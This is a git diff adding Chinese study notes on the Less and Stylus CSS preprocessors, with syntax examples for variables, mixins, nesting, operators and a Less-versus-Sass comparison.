;}; +- 使用:@name(); + +```CSS +/* Less */ +@background: {background:red;}; +#main{ + @background(); +} +@Rules:{ + width: 200px; + height: 200px; + border: solid 1px red; +}; +#con{ + @Rules(); +} + +/* 生成的 CSS */ +#main{ + background:red; +} +#con{ + width: 200px; + height: 200px; + border: solid 1px red; +} + +``` + +**变量运算** + +不得不提的是,Less 的变量运算完全超出我的期望,十分强大。 + +- 加减法时 以第一个数据的单位为基准 +- 乘除法时 注意单位一定要统一 + +```CSS +/* Less */ +@width:300px; +@color:#222; +#wrap{ + width:@width-20; + height:@width-20*5; + margin:(@width-20)*5; + color:@color*2; + background-color:@color + #111; +} + +/* 生成的 CSS */ +#wrap{ + width:280px; + height:200px; + margin:1400px; + color:#444; + background-color:#333; +} +``` + +**变量作用域** + +一句话理解就是:**就近原则**,不要跟我提闭包。 + +*借助官网的Demo* + +```CSS +/* Less */ +@var: @a; +@a: 100%; +#wrap { + width: @var; + @a: 9%; +} + +/* 生成的 CSS */ +#wrap { + width: 9%; +} +``` + +**用变量去定义变量** + +```CSS +/* Less */ +@fnord: "I am fnord."; +@var: "fnord"; +#wrap::after{ + content: @@var; //将@var替换为其值 content:@fnord; +} +/* 生成的 CSS */ +#wrap::after{ + content: "I am fnord."; +} +``` + + + +## 嵌套 + + + +**& 的妙用** + +& :代表的上一层选择器的名字,此例便是`header`。 + +``` +/* Less */ +#header{ + &:after{ + content:"Less is more!"; + } + .title{ + font-weight:bold; + } + &_content{//理解方式:直接把 & 替换成 #header + margin:20px; + } +} +/* 生成的 CSS */ +#header::after{ + content:"Less is more!"; +} +#header .title{ //嵌套了 + font-weight:bold; +} +#header_content{//没有嵌套! + margin:20px; +} + +``` + +**媒体查询** + +在以往的工作中,我们使用 媒体查询,都要把一个元素 分开写 + +``` +#wrap{ + width:500px; +} +@media screen and (max-width:768px){ + #wrap{ + width:100px; + } +} + +``` + +Less 提供了一个十分便捷的方式 + +``` +/* Less */ +#main{ + //something... + + @media screen{ + @media (max-width:768px){ + width:100px; + } + } + @media tv { + width:2000px; + } +} +/* 生成的 CSS */ +@media screen and (maxwidth:768px){ + #main{ + width:100px; + } +} +@media tv{ + #main{ + width:2000px; + } +} + +``` + +唯一的缺点就是 每一个元素都会编译出自己 `@media` 声明,并不会合并。 + +**实战技巧** + +可以借助 Less 在元素中,去定义自己的私有样式。 + +``` +/* Less */ +#main{ + // something.. + &.show{ + display:block; + } +} +.show{ + display:none; +} + +const main = document.getElementById("main"); +main.classList.add("show"); + +``` + +结果: + +``` +#main.show{ + display:block; +} +.show{ + display:none; //会被覆盖。 +} +``` + +## 混合方法 + +1. **无参数方法** + + 方法犹如 声明的集合,使用时 直接键入名称即可。 + + ``` + /* Less */ + .card { // 等价于 .card() + background: #f6f6f6; + -webkit-box-shadow: 0 1px 2px rgba(151, 151, 151, .58); + box-shadow: 0 1px 2px rgba(151, 151, 151, .58); + } + #wrap{ + .card;//等价于.card(); + } + /* 生成的 CSS */ + #wrap{ + background: #f6f6f6; + -webkit-box-shadow: 0 1px 2px rgba(151, 151, 151, .58); + box-shadow: 0 1px 2px rgba(151, 151, 151, .58); + } + + ``` + + 其中 `.card` 与 `.card()` 是等价的。 个人建议,为了避免 代码混淆,应写成 : + + ``` + .card(){ + //something... + } + #wrap{ + .card(); + } + + ``` + + 要点: + + - `.` 与 `#` 皆可作为 方法前缀。 + - 方法后写不写 `()` 看个人习惯。 + +1. **默认参数方法** + + - Less 可以使用默认参数,如果 没有传参数,那么将使用默认参数。 + - `@arguments` 犹如 JS 中的 `arguments` 指代的是 全部参数。 + - 传的参数中 必须带着单位。 + + ``` + /* Less */ + .border(@a:10px,@b:50px,@c:30px,@color:#000){ + border:solid 1px @color; + box-shadow: @arguments;//指代的是 全部参数 + } + #main{ + .border(0px,5px,30px,red);//必须带着单位 + } + #wrap{ + .border(0px); + } + #content{ + .border;//等价于 .border() + } + + /* 生成的 CSS */ + #main{ + border:solid 1px red; + box-shadow:0px,5px,30px,red; + } + #wrap{ + border:solid 1px #000; + box-shadow: 0px 50px 30px #000; + } + #content{ + border:solid 1px #000; + box-shadow: 10px 50px 30px #000; + } + + + ``` + +2. **方法的匹配模式** + + 与 面向对象中的多态 很相似 + + ``` + /* Less */ + .triangle(top,@width:20px,@color:#000){ + border-color:transparent transparent @color transparent ; + } + .triangle(right,@width:20px,@color:#000){ + border-color:transparent @color transparent transparent ; + } + + .triangle(bottom,@width:20px,@color:#000){ + border-color:@color transparent transparent transparent ; + } + .triangle(left,@width:20px,@color:#000){ + border-color:transparent transparent transparent @color; + } + .triangle(@_,@width:20px,@color:#000){ + border-style: solid; + border-width: @width; + } + #main{ + .triangle(left, 50px, #999) + } + /* 生成的 CSS */ + #main{ + border-color:transparent transparent transparent #999; + border-style: solid; + border-width: 50px; + } + + ``` + + 要点 + + - 第一个参数 `left` 要会找到方法中匹配程度最高的,如果匹配程度相同,将全部选择,并存在着样式覆盖替换。 + - 如果匹配的参数 是变量,则将会匹配,如 `@_` 。 + +3. **方法的命名空间** + + 让方法更加规范 + + ``` + /* Less */ + #card(){ + background: #723232; + .d(@w:300px){ + width: @w; + + #a(@h:300px){ + height: @h;//可以使用上一层传进来的方法 + } + } + } + #wrap{ + #card > .d > #a(100px); // 父元素不能加 括号 + } + #main{ + #card .d(); + } + #con{ + //不得单独使用命名空间的方法 + //.d() 如果前面没有引入命名空间 #card ,将会报错 + + #card; // 等价于 #card(); + .d(20px); //必须先引入 #card + } + /* 生成的 CSS */ + #wrap{ + height:100px; + } + #main{ + width:300px; + } + #con{ + width:20px; + } + + + ``` + + 要点 + + - 在 CSS 中`>` 选择器,选择的是 儿子元素,就是 必须与父元素 有直接血源的元素。 + - 在引入命令空间时,如使用 `>` 选择器,父元素不能加 括号。 + - 不得单独使用命名空间的方法 必须先引入命名空间,才能使用 其中方法。 + - 子方法 可以使用上一层传进来的方法 + +4. **方法的条件筛选** + + Less 没有 if else,可是它有 `when` + + ``` + /* Less */ + #card{ + + // and 运算符 ,相当于 与运算 &&,必须条件全部符合才会执行 + .border(@width,@color,@style) when (@width>100px) and(@color=#999){ + border:@style @color @width; + } + + // not 运算符,相当于 非运算 !,条件为 不符合才会执行 + .background(@color) when not (@color>=#222){ + background:@color; + } + + // , 逗号分隔符:相当于 或运算 ||,只要有一个符合条件就会执行 + .font(@size:20px) when (@size>50px) , (@size<100px){ + font-size: @size; + } + } + #main{ + #card>.border(200px,#999,solid); + #card .background(#111); + #card > .font(40px); + } + /* 生成后的 CSS */ + #main{ + border:solid #999 200px; + background:#111; + font-size:40px; + } + + ``` + + 要点 + + - 比较运算有: > >= = =< <。 + - = 代表的是等于 + - 除去关键字 true 以外的值都被视为 false: + +5. **数量不定的参数** + + 如果你希望你的方法接受数量不定的参数,你可以使用... ,犹如 ES6 的扩展运算符。 + + ``` + /* Less */ + .boxShadow(...){ + box-shadow: @arguments; + } + .textShadow(@a,...){ + text-shadow: @arguments; + } + #main{ + .boxShadow(1px,4px,30px,red); + .textShadow(1px,4px,30px,red); + } + + /* 生成后的 CSS */ + #main{ + box-shadow: 1px 4px 30px red; + text-shadow: 1px 4px 30px red; + } + + ``` + +6. **方法使用important!** + + 使用方法 非常简单,在方法名后 加上关键字即可。 + + ``` + /* Less */ + .border{ + border: solid 1px red; + margin: 50px; + } + #main{ + .border() !important; + } + /* 生成后的 CSS */ + #main { + border: solid 1px red !important; + margin: 50px !important; + } + + ``` + +7. **循环方法** + + Less 并没有提供 for 循环功能,但这也难不倒 聪明的程序员,使用递归去实现。 下面是官网中的一个 Demo,模拟了生成栅格系统。 + + ``` + /* Less */ + .generate-columns(4); + + .generate-columns(@n, @i: 1) when (@i =< @n) { + .column-@{i} { + width: (@i * 100% / @n); + } + .generate-columns(@n, (@i + 1)); + } + /* 生成后的 CSS */ + .column-1 { + width: 25%; + } + .column-2 { + width: 50%; + } + .column-3 { + width: 75%; + } + .column-4 { + width: 100%; + } + + ``` + +8. **属性拼接方法** + + `+_` 代表的是 空格;`+` 代表的是 逗号。 + + - 逗号 + + ``` + /* Less */ + .boxShadow() { + box-shadow+: inset 0 0 10px #555; + } + .main { + .boxShadow(); + box-shadow+: 0 0 20px black; + } + /* 生成后的 CSS */ + .main { + box-shadow: inset 0 0 10px #555, 0 0 20px black; + } + + ``` + + - 空格 + + ``` + /* Less */ + .Animation() { + transform+_: scale(2); + } + .main { + .Animation(); + transform+_: rotate(15deg); + } + + /* 生成的 CSS */ + .main { + transform: scale(2) rotate(15deg); + } + + ``` + +9. **实战技巧** + + 下面是官网中的一个非常赞的 Demo + + ``` + /* Less */ + .average(@x, @y) { + @average: ((@x + @y) / 2); + } + + div { + .average(16px, 50px); // 调用 方法 + padding: @average; // 使用返回值 + } + + /* 生成的 CSS */ + div { + padding: 33px; + } + + ``` + +可以说 Less 是一门优雅编程语言。 + +## 继承 + +extend 是 Less 的一个伪类。它可继承 所匹配声明中的全部样式。 + +1. **extend 关键字的使用** + + ``` + /* Less */ + .animation{ + transition: all .3s ease-out; + .hide{ + transform:scale(0); + } + } + #main{ + &:extend(.animation); + } + #con{ + &:extend(.animation .hide); + } + + /* 生成后的 CSS */ + .animation,#main{ + transition: all .3s ease-out; + } + .animation .hide , #con{ + transform:scale(0); + } + + ``` + +2. **all 全局搜索替换** + + 使用选择器匹配到的 全部声明。 + + ``` + /* Less */ + #main{ + width: 200px; + } + #main { + &:after { + content:"Less is good!"; + } + } + #wrap:extend(#main all) {} + + /* 生成的 CSS */ + #main,#wrap{ + width: 200px; + } + #main:after, #wrap:after { + content: "Less is good!"; + } + + ``` + +3. **减少代码的重复性** + + 从表面 看来,extend 与 方法 最大的差别,就是 extend 是同个选择器共用同一个声明,而 方法 是使用自己的声明,这无疑 增加了代码的重复性。 + + 方法示例 与上面的 extend 进行对比: + + ``` + /* Less */ + .Method{ + width: 200px; + &:after { + content:"Less is good!"; + } + } + #main{ + .Method; + } + #wrap{ + .Method; + } + + /* 生成的 CSS */ + #main{ + width: 200px; + &:after{ + content:"Less is good!"; + } + } + #wrap{ + width: 200px; + &:after{ + content:"Less is good!"; + } + } + + + ``` + +4. **要点** + + *翻译官网* + + - 选择器和扩展之间 是允许有空格的:pre:hover :extend(div pre). + - 可以有多个扩展: pre:hover:extend(div pre):extend(.bucket tr) - 注意这与 pre:hover:extend(div pre, .bucket tr)一样。 + - 这是不可以的,扩展必须在最后 : pre:hover:extend(div pre).nth-child(odd)。 + - 如果一个规则集包含多个选择器,所有选择器都可以使用extend关键字。 + + ### 导入 + + 1. 导入 less 文件 可省略后缀 + + ``` + import "main"; + //等价于 + import "main.less"; + + ``` + + 1. `@import` 的位置可随意放置 + + ``` + #main{ + font-size:15px; + } + @import "style"; + + ``` + +5. **reference** + + Less 中 最强大的特性 使用 引入的 Less 文件,但不会 编译它。 + + ``` + /* Less */ + @import (reference) "bootstrap.less"; + + #wrap:extend(.navbar all){} + + ``` + + 翻译官网: + + > 使用@import (reference)导入外部文件,但不会添加 把导入的文件 编译到最终输出中,只引用。 + +6. **once** + + > @import语句的默认行为。这表明相同的文件只会被导入一次,而随后的导入文件的重复代码都不会解析。 + + ``` + @import (once) "foo.less"; + @import (once) "foo.less"; // this statement will be ignored + + ``` + +7. **multiple** + + > 使用@import (multiple)允许导入多个同名文件。 + + ``` + /* Less */ + + // file: foo.less + .a { + color: green; + } + // file: main.less + @import (multiple) "foo.less"; + @import (multiple) "foo.less"; + + /* 生成后的 CSS */ + .a { + color: green; + } + .a { + color: green; + } + ``` + +## 函数 + +**判断类型** + +- isnumber + +> 判断给定的值 是否 是一个数字。 + +``` +isnumber(#ff0); // false +isnumber(blue); // false +isnumber("string"); // false +isnumber(1234); // true +isnumber(56px); // true +isnumber(7.8%); // true +isnumber(keyword); // false +isnumber(url(...)); // false + +``` + +- iscolor + +> 判断给定的值 是否 是一个颜色。 + +- isurl + +> 判断给定的值 是否 是一个 url 。 + +**颜色操作** + +- saturate + +> 增加一定数值的颜色饱和度。 + +- lighten + +> 增加一定数值的颜色亮度。 + +- darken + +> 降低一定数值的颜色亮度。 + +- fade + +> 给颜色设定一定数值的透明度。 + +- mix + +> 根据比例混合两种颜色。 + +**数学函数** + +- ceil + +> 向上取整。 + +- floor + +> 向下取整。 + +- percentage + +> 将浮点数转换为百分比字符串。 + +- round + +> 四舍五入。 + +- sqrt + +> 计算一个数的平方根。 + +- abs + +> 计算数字的绝对值,原样保持单位。 + +- pow + +> 计算一个数的乘方。 + +## 其他 + +1. **注释** + + - /* */ CSS原生注释,会被编译在 CSS 文件中。 + - / / Less提供的一种注释,不会被编译在 CSS 文件中。 + +2. **避免编译** + + ``` + /* Less */ + #main{ + width:~'calc(300px-30px)'; + } + + /* 生成后的 CSS */ + #main{ + width:calc(300px-30px); + } + + ``` + + 结构: `~' 值 '` + +3. **变量拼串** + + 在平时工作中,这种需求 太常见了。 在下面例子中, 实现了不同的 transtion-delay、animation、@keyframes + + ``` + .judge(@i) when(@i=1){ + @size:15px; + } + .judge(@i) when(@i>1){ + @size:16px; + } + .loopAnimation(@i) when (@i<16) { + + .circle:nth-child(@{i}){ + .judeg(@i); + border-radius:@size @size 0 0; + animation: ~"circle-@{i}" @duration infinite @ease; + transition-delay:~"@{i}ms"; + } + @keyframes ~"circle-@{i}" { + // do something... + } + .loopAnimation(@i + 1); + } + + ``` + + 结构: `~"字符@{变量}字符"`; + +4. **使用 JS** + + 因为 Less 是由 JS 编写,所以 Less 有一得天独厚的特性:代码中使用 Javascript 。 + + ``` + /* Less */ + @content:`"aaa".toUpperCase()`; + #randomColor{ + @randomColor: ~"rgb(`Math.round(Math.random() * 256)`,`Math.round(Math.random() * 256)`,`Math.round(Math.random() * 256)`)"; + } + #wrap{ + width: ~"`Math.round(Math.random() * 100)`px"; + &:after{ + content:@content; + } + height: ~"`window.innerHeight`px"; + alert:~"`alert(1)`"; + #randomColor(); + background-color: @randomColor; + } + /* 生成后的 CSS */ + + // 弹出 1 + #wrap{ + width: 随机值(0~100)px; + height: 743px;//由电脑而异 + background: 随机颜色; + } + #wrap::after{ + content:"AAA"; + } + + ``` + + 前几个月 , 有个 `CSS in JS` 的概念非常火,现在 看来 `JS in CSS` 也未曾不可。 我觉得完全可以根据 Less 这个特性来造个轮子,JS来控制 CSS ,形成 动态属性,如果成功 很可能会改变 现在前端的打开姿势。 + +## 与SASS区别 + +#### 1、编译环境不一样 + +`Sass`的安装需要Ruby环境,是在**服务端**处理的。 `Less`是需要引入less.js来处理Less代码输出css到浏览器,也可以在开发环节使用Less,然后**编译成css文件**,直接放到项目中,也有 Less.app、SimpleLess、CodeKit.app这样的工具,也有在线编译地址。 + +#### 2、变量符不一样 + +`SASS` 变量符是 $ + +`LESS` 变量符是 @ + +#### 3、变量的作用域也不一样 + +```css +Less-作用域 +@color: #00c; /* 蓝色 */ +#header { + @color: #c00; /* red */ + border: 1px solid @color; /* 红色边框 */ +} + +#footer { + border: 1px solid @color; /* 蓝色边框 */ +} + +Less-作用域编译后 +#header{border:1px solid #cc0000;} +#footer{border:1px solid #0000cc;} + +scss-作用域 +$color: #00c; /* 蓝色 */ + +#header { + $color: #c00; /* red */ + border: 1px solid $color; /* 红色边框 */ +} + +#footer { + border: 1px solid $color; /* 蓝色边框 */ +} + +Sass-作用域编译后 + +#header{border:1px solid #c00} +#footer{border:1px solid #c00} + + +``` + +Less区分上下级作用域,SCSS为就近原则 + +我们可以看出来,less和scss中的变量会随着作用域的变化而不一样。 + +#### 4、输出设置不同 + +`Sass`提供4中输出选项:**nested**, **compact**, **compressed** 和 **expanded**。 + +输出样式的风格可以有四种选择,默认为nested + +``` +nested:嵌套缩进的css代码 +expanded:展开的多行css代码 +compact:简洁格式的css代码 +compressed:压缩后的css代码 + +``` + +`Less`没有输出设置 + +#### 5、支持语句不同 + +`Sass`支持条件语句,可以使用if{}else{},for{}循环等等。 + +``` +/* Sample Sass “if” statement */ + +@if lightness($color) > 30% { + +} @else { + +} + +/* Sample Sass “for” loop */ + +@for $i from 1 to 10 { + .border-#{$i} { + border: #{$i}px solid blue; + } +} + +``` + +`Less`不支持。 + +#### 6、引用外部 CSS 文件 + +`Scss`引用的外部文件命名必须以_开头, 如下例所示:其中_test1.scss、_test2.scss、_test3.scss文件分别设置的h1 h2 h3。文件名如果以下划线_开头的话,Sass会认为该文件是一个引用文件,不会将其编译为css文件. + +``` +// 源代码: +@import "_test1.scss"; +@import "_test2.scss"; +@import "_test3.scss"; +// 编译后: +h1 { + font-size: 17px; +} + +h2 { + font-size: 17px; +} + +h3 { + font-size: 17px; +} + +``` + +`Less`引用外部文件和css中的@import没什么差异。 + +#### 7、工具库不同 + +`Sass`有工具库Compass, 简单说,Sass和Compass的关系有点像Javascript和jQuery的关系,Compass是Sass的工具库。在它的基础上,封装了一系列有用的模块和模板,补充强化了Sass的功能。 + +`Less`有UI组件库Bootstrap,Bootstrap是web前端开发中一个比较有名的前端UI组件库,Bootstrap的样式文件部分源码就是采用Less语法编写。 diff --git "a/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/Stylus \345\255\246\344\271\240\346\225\264\345\220\210.md" "b/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/Stylus \345\255\246\344\271\240\346\225\264\345\220\210.md" new file mode 100644 index 00000000..621b15b1 --- /dev/null +++ "b/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/Stylus \345\255\246\344\271\240\346\225\264\345\220\210.md" @@ -0,0 +1,1600 @@ +--- +date: 2021-04-24 +category: +- CSS +- 前端 +--- + +# Stylus 学习整合 + +> stylus 代码很简介,但是工作过程当中更多的接触的是scss和less,stylus很少人可以驾驭,而且语法更加的简洁和不同 + +## 特征 + +冒号可选、分号可选逗号可选、括号可选、变量、插值、混合书写、算术、强制类型转换、动态导入、条件、迭代、嵌套选择、父级参考、变量函数调用、词法作用域、内置函数、内部语言函数、压缩可选、图像内联可选、可执行 `Stylus`、健壮的错误报告、单行和多行注释、`CSS` 字面量、字符转义、`TextMate` 捆绑等。 + +## 使用 + +#### 全局安装 + +```bash +$ npm install stylus -g + +``` + +#### 编译单个文件 + +```bash +stylus demo.styl + +``` + +#### 编译整个文件夹 + +```bash +当前文件夹下 stylus + +``` + +#### 动态监听整个文件夹 + +```bash +stylus -w + +``` + +#### 动态监听整个文件夹并压缩 + +```bash +stylus -w --compress + +``` + +## 基本语法 + +### 选择器 + +#### 缩排 + +`Stylus` 语法是基于缩进,空格有重要的意义,使用缩排和凹排代替花括号 `{` 及 `}`。 + +```stylus +body + color white + +``` + +上面代码对应于: + +```stylus +body { + color: #fff; +} + +``` + +可以加上冒号,用做分隔,便于阅读: + +```stylus +body + color: white + +``` + +#### 规则集 + +`Stylus` 就跟 `CSS` 一样,允许使用逗号为多个选择器同时定义属性。 + +```stylus +textarea, input + border 1px solid #eee + +``` + +使用新行是一样的效果: + +```stylus +textarea +input + border 1px solid #eee + +``` + +等同于: + +```stylus +textarea, +input { + border: 1px solid #eee; +} + +``` + +该规则唯一的例外就是长得像属性的选择器。例如,下面的 `foo bar baz` 可能是个属性或者是选择器。 + +```stylus +foo bar baz +> input + border 1px solid + +``` + +为解决这个问题,可以在尾部加个逗号: + +```stylus +foo bar baz, +form input, +> a + border 1px solid + +``` + +#### 父级引用 + +字符 `&` 指向父选择器。下面这个例子,两个选择器( `textarea` 和 `input` )在 `:hover` 伪类选择器上都改变了 `color` 值 + +```stylus +textarea +input + color #A7A7A7 + &:hover + color #000 + +``` + +等同于: + +```stylus +textarea, +input { + color: #a7a7a7; +} +textarea:hover, +input:hover { + color: #000; +} + +``` + +下面这个例子,`IE浏览器` 利用了父级引用以及混合书写来实现 `2px` 的边框。 + +```stylus + box-shadow() + -webkit-box-shadow arguments + -moz-box-shadow arguments + box-shadow arguments + html.ie8 &, + html.ie7 &, + html.ie6 & + border 2px solid arguments[length(arguments) - 1] + + body + #login + box-shadow 1px 1px 3px #eee + +``` + +结果: + +```stylus + body #login { + -webkit-box-shadow: 1px 1px 3px #eee; + -moz-box-shadow: 1px 1px 3px #eee; + box-shadow: 1px 1px 3px #eee; + } + html.ie8 body #login, + html.ie7 body #login, + html.ie6 body #login { + border: 2px solid #eee; + } + +``` + +#### 消除歧义 + +类似 `padding - n` 的表达式可能既被解释成 `减法运算`,也可能被释义成 `一元负号属性`。为了避免这种歧义,用括号包裹表达式: + +```stylus +pad(n) + padding (- n) + +body + pad(5px) + +``` + +结果: + +```stylus +body { + padding: -5px; +} + +``` + +然而,只有在函数中才会这样(因为函数同时用返回值扮演混合或回调)。 例如,下面这个就是OK的: + +```stylus +body + padding -5px + +``` + +`unquote()` 可以处理有 `Stylus` 无法处理的属性值: + +```stylus +filter unquote('progid:DXImageTransform.Microsoft.BasicImage(rotation=1)') + +``` + +结果: + +```stylus +filter progid:DXImageTransform.Microsoft.BasicImage(rotation=1) + +``` + +### 变量 + +#### 变量 + +我们可以指定表达式为变量,然后在样式中贯穿使用: + +```stylus +font-size = 14px + +body + font font-size Arial, sans-seri + +``` + +结果: + +```stylus +body { + font: 14px Arial, sans-serif; +} + +``` + +变量甚至可以组成一个表达式列表: + +```stylus +font-size = 14px +font = font-size "Lucida Grande", Arial + +body + font font sans-serif + +``` + +结果: + +```stylus +body { + font: 14px "Lucida Grande", Arial sans-serif; +} + +``` + +标识符(变量名,函数等),也可能包括$字符。例如: + +```stylus +$font-size = 14px +body { + font: $font-size sans-serif; +} + +``` + +#### 属性查找 + +`Stylus` 有另外一个很酷的独特功能,不需要分配值给变量就可以定义引用属性。下面是个很好的例子,元素水平垂直居中对齐(典型的方法是使用百分比和 `margin` 负值),如下: + +```stylus +#logo + position: absolute + top: 50% + left: 50% + width: w = 150px + height: h = 80px + margin-left: -(w / 2) + margin-top: -(h / 2) + +``` + +我们不使用这里的变量 `w` 和 `h`, 而是简单地前置 `@` 字符在属性名前来访问该属性名对应的值: + +```stylus +#logo + position: absolute + top: 50% + left: 50% + width: 150px + height: 80px + margin-left: -(@width / 2) + margin-top: -(@height / 2) + +``` + +另外使用案例是基于其他属性有条件地定义属性。在下面这个例子中,我们默认指定 `z-index` 值为 `1`,但是,只有在 `z-index` 之前未指定的时候才这样: + +```stylus +position() + position: arguments + z-index: 1 unless @z-index + +#logo + z-index: 20 + position: absolute + +#logo2 + position: absolute + +``` + +属性会 `向上冒泡` 查找堆栈直到被发现,或者返回 `null`(如果属性搞不定)。下面这个例子,`@color` 值为 `blue`. + +```stylus +body + color: red + ul + li + color: blue + a + background-color: @color + +``` + +### 插值 + +#### 插值 + +`Stylus` 支持通过使用 `{}` 字符包围表达式来插入值,其会变成标识符的一部分。例如,`-webkit-{'border' + '-radius'}` 等同于 `-webkit-border-radius`。比较好的例子就是私有前缀属性扩展: + +```stylus +vendor(prop, args) + -webkit-{prop} args + -moz-{prop} args + {prop} args + +border-radius() + vendor('border-radius', arguments) + +box-shadow() + vendor('box-shadow', arguments) + +button + border-radius 1px 2px / 3px 4px + +``` + +结果: + +```stylus +button { + -webkit-border-radius: 1px 2px / 3px 4px; + -moz-border-radius: 1px 2px / 3px 4px; + border-radius: 1px 2px / 3px 4px; +} + +``` + +#### 选择器插值 + +插值也可以在选择器上起作用。例如,我们可以指定表格前 `5` 行的高度,如下: + +```stylus +table + for row in 1 2 3 4 5 + tr:nth-child({row}) + height: 10px * row + +``` + +结果: + +```stylus +table tr:nth-child(1) { + height: 10px; +} +table tr:nth-child(2) { + height: 20px; +} +table tr:nth-child(3) { + height: 30px; +} +table tr:nth-child(4) { + height: 40px; +} +table tr:nth-child(5) { + height: 50px; +} + +``` + +### 运算符 + +#### 运算符优先级 + +下表运算符优先级,从最高到最低: + +```stylus +[] +! ~ + - +is defined +** * / % ++ - +... .. +<= >= < > +in +== is != is not isnt +is a +&& and || or +?: += := ?= += -= *= /= %= +not +if unless + +``` + +#### 一元运算符 + +以下一元运算符可用,`!`, `not`, `-`, `+`, 以及 `~`. + +```stylus +!0 // => true +!!0 // => false +!1 // => false +!!5px // => true +-5px // => -5px +--5px // => 5px +not true // => false +not not true // => true + +``` + +逻辑运算符 `not` 的优先级较低,因此,下面这个例子可以替换: + +```stylus +a = 0 +b = 1 +!a and !b // => false,解析为: (!a) and (!b) + +``` + +用: + +```stylus +not a or b // => false,解析为: not (a or b) + +``` + +#### 二元运算符 + +`下标运算符[]` 允许我们通过索引获取表达式内部值。`括号表达式` 可以充当元组(如`(15px 5px), (1, 2, 3)` )。 + +下面这个例子使用错误处理的元组(并展示了该结构的多功能性): + +```stylus +add(a, b) + if a is a 'unit' and b is a 'unit' + a + b + else + (error 'a 和 b 必须是 units!') + +body + padding add(1,'5') // => padding: error "a 和 b 必须是 units"; + padding add(1,'5')[0] // => padding: error; + padding add(1,'5')[0] == error // => padding: true; + padding add(1,'5')[1] // => padding: "a 和 b 必须是 units"; + +``` + +这儿有个更复杂的例子。现在,我们调用内置的 `error()` 函数,当标识符(第一个值)等于 `error` 的时候返回错误信息。 + +```stylus +if (val = add(1,'5'))[0] == error + error(val[1]) + +``` + +#### 范围 `..` `...` + +同时提供包含界线操作符(`..`)和范围操作符(`...`),见下表达式: + +```stylus +1..5 // => 1 2 3 4 5 +1...5 // => 1 2 3 4 + +``` + +#### 加减:`+` `-` + +二元加乘运算其单位会转化,或使用默认字面量值。例如,`5s - 2px` 结果是 `3s`. + +```stylus +15px - 5px // => 10px +5 - 2 // => 3 +5in - 50mm // => 3.031in +5s - 1000ms // => 4s +20mm + 4in // => 121.6mm +"foo " + "bar" // => "foo bar" +"num " + 15 // => "num 15" + +``` + +#### 乘除:`/` `*` `%` + +```stylus +2000ms + (1s * 2) // => 4000ms +5s / 2 // => 2.5s +4 % 2 // => 0 + +``` + +当在属性值内使用 `/` 时候,你必须用括号包住。否则 `/` 会根据其字面意思处理(支持 `CSS` 的 `line-height`)。 + +```stylus +font: 14px/1.5; // 但是,下面这个却等同于14px ÷ 1.5: +font: (14px/1.5); // 只有/操作符的时候需要这样。 + +``` + +#### 指数:** + +指数操作符: + +```stylus +2 ** 8 // => 256 + +``` + +#### 相等与关系运算:`==` `!=` `>=` `<=` `>` `<` + +相等运算符可以被用来等同单位、颜色、字符串甚至标识符。这是个强大的概念,甚至任意的标识符(例如 `wahoo` )可以作为原子般使用。函数可以返回 `yes` 和 `no` 代替 `true` 和 `false`(虽然不建议)。 + +```stylus +5 == 5 // => true +10 > 5 // => true +#fff == #fff // => true +true == false // => false +wahoo == yay // => false +wahoo == wahoo // => true +"test" == "test" // => true +true is true // => true +'hey' is not 'bye' // => true +'hey' isnt 'bye' // => true +(foo bar) == (foo bar) // => true +(1 2 3) == (1 2 3) // => true +(1 2 3) == (1 1 3) // => false + +``` + +只有精确值才匹配,例如,`0 == false` 和 `null == false` 均返回 `false`. + +别名: + +- `==`: is +- `!=`: is not +- `!=`: isnt + +#### 真与假 + +`Stylus` 近乎一切都是 `true`, 包括有后缀的单位,甚至 `0%`, `0px` 等都被认作 `true`. 不过,`0` 在算术上本身是 `false`,表达式(或“列表”)长度大于 `1` 被认为是真。 + +`true` 例子: + +```stylus +0% +0px +1px +-1 +-1px +hey +'hey' +(0 0 0) +('' '') + +``` + +`false` 例子: + +```stylus +0 +null +false + +``` + +#### 逻辑操作符:`&&` `||` 和 `or` + +逻辑操作符 `&&` 和 `||` 别名是 `and` / `or`。它们优先级相同。 + +```stylus +5 && 3 // => 3 +0 || 5 // => 5 +0 && 5 // => 0 +#fff is a 'rgba' and 15 is a 'unit' // => true + +``` + +#### 存在操作符:`in` + +检查左边内容是否在右边的表达式中。 简单的例子: + +```stylus +nums = 1 2 3 +1 in nums // => true +5 in nums // => false + +``` + +一些未定义标识符: + +```stylus +words = foo bar baz +bar in words // => true +HEY in words // => false + +``` + +元组同样适用: + +```stylus +vals = (error 'one') (error 'two') +error in vals // => false +(error 'one') in vals // => true +(error 'two') in vals // => true +(error 'something') in vals // => false + +``` + +混合书写适用例子: + +```stylus +pad(types = padding, n = 5px) + if padding in types + padding n + if margin in types + margin n + +body + pad() +body + pad(margin) +body + pad(padding margin, 10px) + +``` + +对应于: + +```stylus +body { + padding: 5px; +} +body { + margin: 5px; +} +body { + padding: 10px; + margin: 10px; +} + +``` + +#### 条件赋值:`?=` `:=` + +条件赋值操作符 `?=`(别名`?:`)使得无需破坏旧值(如果存在)定义变量。该操作符可以扩展成三元 `is defined` 的二元操作。例如,下面这些作用都是相同的: + +```stylus +color := white +color ?= white +color = color is defined ? color : white + +``` + +如果我们使用等号=, 就只是简单地赋值。 + +```stylus +color = white +color = black +color // => black + +``` + +但当使用 `?=`,第二个赋值失效了: + +```stylus +color = white +color ?= black +color // => white + +``` + +#### 实例检查:`is a` + +`Stylus` 提供一个二元运算符叫做 `is a`, 用做类型检查。 + +```stylus +15 is a 'unit' // => true +#fff is a 'rgba' // => true +15 is a 'rgba' // => false + +``` + +另外,我们可以使用 `type()` 这个内置函数。 + +```stylus +type(#fff) == 'rgba' // => true + +``` + +> 注意:`color` 是唯一的特殊情况,当左边是 `RGBA` 或者 `HSLA` 节点时,都为 `true`. + +#### 变量定义:`is defined` + +此伪二元运算符右边空荡荡,左边无计算。用来检查变量是否已经分配了值。 + +```stylus +foo is defined // => false +foo = 15px +foo is defined // => true +#fff is defined // => 'invalid "is defined" check on non-variable #fff' + +``` + +另外,我们可以使用内置 `lookup(name)` 方法做这个活动态查找。 + +```stylus +name = 'blue' +lookup('light-' + name) // => null +light-blue = #80e2e9 +lookup('light-' + name) // => #80e2e9 + +``` + +该操作符必不可少,因为一个未定义的标识符仍是真值。如: + +```stylus +body + if ohnoes + padding 5px + +``` + +当未定义的时候,产生的是下面的 `CSS`: + +```stylus +body { + padding: 5px; +} + +``` + 